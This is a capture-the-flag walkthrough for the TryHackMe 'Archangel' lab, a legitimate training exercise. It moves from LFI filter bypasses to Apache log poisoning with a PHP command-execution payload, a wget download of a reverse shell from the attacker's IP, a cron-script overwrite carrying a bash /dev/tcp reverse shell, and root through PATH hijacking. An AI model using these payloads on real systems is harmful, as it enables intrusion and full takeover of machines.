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Difficulty: Easy (It’s more for intermediates)

Synopsis
Archangel is an intermediate level CTF. In this CTF challenge, we begin by conducting an
nmap scan to identify ports. Visiting the http webpage, we can find a virtual hosts link.
Adding this to /etc/hosts, we can find a web page under development. Upon enumeration,
we can find a php page that allows us to view files. Using LFI bypasses, we find that we can
view the contents of the php page. An exploit is then used to gain a shell onto the system.
For horizontal escalation, a cronjob is used to get access to the main user. From there, you
modify a system command to be able to gain root privileges.

Skills required:
● Linux Fundamentals
● Network Enumeration
● Web Enumeration

https://tryhackme.com/p/jsiu7900
https://tryhackme.com/p/Archangel
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Skills learned:
● LFI exploitation
● LFI Log Poisoning
● Editing system commands
● Crontabs

Enumeration

nmap
We will start off with an nmap scan.

ip=10.10.177.210

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/'
-f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sV $ip

Doing this will reveal the outputs:

Nmap scan shows SSH on port 22, and HTTP on port 80, not much to see really.
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HTTP
Ok, going to HTTP we can see there is nothing there, after searching, it’s just a regular
sports page with some pages, that’s all.

User enumeration didn’t really help, as well as using gobuster didn’t reveal much either.

- I tried using a gobuster dirscan and a subdomain scan, but nothing showed up
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Going to the /flags directory reveals a hidden prank which redirects to a certain youtube
video, feel free to find out for yourself🙂

The TryHackMe challenge says to find a different domain, in which it shows in the email

Meaning we can add mafialive.thm, and add it to our hosts file to see if we get new results.

Personally, I do this using vim

sudo vim /etc/hosts
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So now going tomafialive.thm in the browser we can see this:

Nice! Our first flag. Now we need to get our second flag, but since this is a new domain, let’s
run a new gobuster scan on this and see what we get.
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Interesting, let’s visit robots.txt and see what we get:

Seems like there is a php page with test, let’s visit that

- To have gobuster reveal this page too, you have to use the -x .php, to specify the file
type

- gobuster dir -u mafialive.thm -w ~/wl/dirb/common.txt -t 40 -x
.php

Interesting, let’s see what the button does

Ok so it just prints out control is an illusion, but it also looks like it passes a parameter to
“view”, which seems like a path or directory.

This shows that it’s most likely going to be an LFI vulnerability

- LFI stands for Local File Inclusion, it’s basically a way to view system files through the
browser, and possible lead to remote code execution

Testing certain LFI payloads
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test.php?view=../../../../../../../etc/passwd

/test.php?view=php://filter/convert.base64-encode/resource=../../../..
/../etc/passwd

All results in:

So there is obviously some kind of filtering going on.

What we can do is we can attempt to view the php files using an LFI bypass with base64
encoding and see if that works instead of going just straight to /etc/passwd

- We will try with test.php first, since that’s the current file that we are on:

http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/
resource=/var/www/html/development_testing/test.php

- To explain this, the php://filter is a standard LFI bypass in order to be able to view
files, in this case with the resource being test.php

- And the “view” parameter is needed since that is what is being passed to output
when it displays “control is an illusion”

So, as output, we get:

Which is test.php but in base64 encoded format. So we would need to decode this. Copying
the entire string, we can decode it using the base64 -d command
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The output is as follows:

So we have the second flag, nice.

What we can also see is that there are 2 filters

- First, if it contains the strings ../..
- Second, the “view” parameter needs to include

/var/www/html/development_testing

We can easily bypass the first filter, since we can do ..//.., the double slash makes no
difference when directory traversal for a linux system, which is shown from port 22 from
the nmap scan

Using this, we can try to view /etc/passwd:

http://mafialive.thm/test.php?view=/var/www/html/development_testing/.
.//..//..//..//..//etc/passwd

Nice it worked, we can see a user named “Archangel” and root.

Now what we can do here is something called “Apache Log Poisoning”

- We can do this because we know we are on an apache server from the nmap scan
- Basically any time a person visits the site, a log is added to access.log
- And then upon visiting the page where we can view access.log, since this is a .php

page, it will execute the php code

What this means is that we can get a reverse shell, so let’s go ahead and do that

So first we need to actually visit the access.log page to see if we can even find it, but by
default, the located is located in /var/log/apache2/access.log
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So with that in mind, we can use this as the URL:

http://mafialive.thm/test.php?view=/var/www/html/development_testing/.
.//..//..//..//..///var/log/apache2/access.log

The first try worked, which is good.

Now we will need to open up burpsuite and intercept a request, we need to edit the user
agent string to include .php code, since each entry to the access.log includes the user agent

Right click on it and click “Send to Repeater”, which allows us to edit it and send another
request to make edits and view output.
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You can see on the right hand side the logs that we visited with access.log and the user
agent, which is what we will use to execute code.

Now to upload our reverse shell, we need to start a server

We can do this by navigating to the folder which has our reverse shell

And doing

python -m http.server 80

Now to execute a command, we need to add a parameter ‘cmd’ to our link. What I will do is
I will upload a reverse shell by using wget

Now, to get the request, we need to go back to burpsuite and turn intercept on, and input
this in our browser:

mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//
..//..//..///var/log/apache2/access.log&cmd=wget
http://10.2.116.67/php-reverse-shell.php

Now right click on the intercepted request in burpsuite, and Send to Repeater.
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This is what it should look like.

- Notice the %20, that is URL encoding for a space

Now we edit the user agent to

<?php system($_GET[‘cmd’]); ?>

And now click on ‘Send’:

And now notice the results in the access.log page:

In line 9510, the user agent is our regular one (Mozilla/5.0 Linux etc.)
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But on line 9511, the user agent string isn’t there, which confirms that we have changed the
user string to run php code.

We can confirm that the php code is ran from looking at our http server:

Reverse Shell
So, let’s see if we can get a reverse shell now. We will start off by starting out netcat
listener:

nc -nvlp 1234

Or whatever port is on your reverse shell code. Mine is 1234 for instance.

Now to execute the reverse shell code, we simply just need to file the file name in the URL:

mafialive.thm/php-reverse-shell.php

Nice, we got our reverse shell. Now, it’s time for us to privilege escalate.

Running sudo -l returns nothing, as well as no SUID commands available.

Looking at crontabs (cat /etc/crontab), we can find an interesting line being run every
minute:
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Let’s go take a look at helloworld.sh, and see what it does

Seems fairly simple, not much here, but take a look at the permissions:

Horizontal Escalation
It’s owned by user archangel, and anyone can run it, meaning we can edit the file to be able
to escalate to user archangel (since that is who it is run by in the crontab)

To do this, we can do:

echo "bash -c 'exec bash -i &>/dev/tcp/10.2.116.67/1236 <&1'" >
helloworld.sh

Now we set up another netcat listener and we wait for one minute:
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And we’re in!

Let’s get the user flags now

And the other one:

Privilege Escalation
Doing sudo -l returned nothing since it required a password

Searching for SUID commands
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find / -user root -perm /4000 2>/dev/null

Interesting, let's take a look at the last line /home/archangel/secret/backup

Now because backup is a binary, doing cat backup will return a bunch of random text, but
we can extract readable text doing:

strings backup

And we can find a very interesting line:

It’s running a cp command as root user.

Going to gtfobins doesn’t reveal much since you can’t execute a command using cp.

However, we can work around this by editing the ‘cp’ command to do what we want.

So, we create a new file called ‘cp’
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- touch cp

And we add the line ‘bash -p’ (running bash as privileged user)

- echo ‘bash -p’ > cp

Now to make this local cp file take precedence we need to add executable permissions

- chmod +x cp

Now we add this folder to our list of PATH folders by doing:

export PATH=/home/archangel/secret:$PATH

And to confirm the local ‘cp’ file is being use, we can use:

which cp

Now we run backup:

- ./backup

Now we are root, and we can get the root flag:


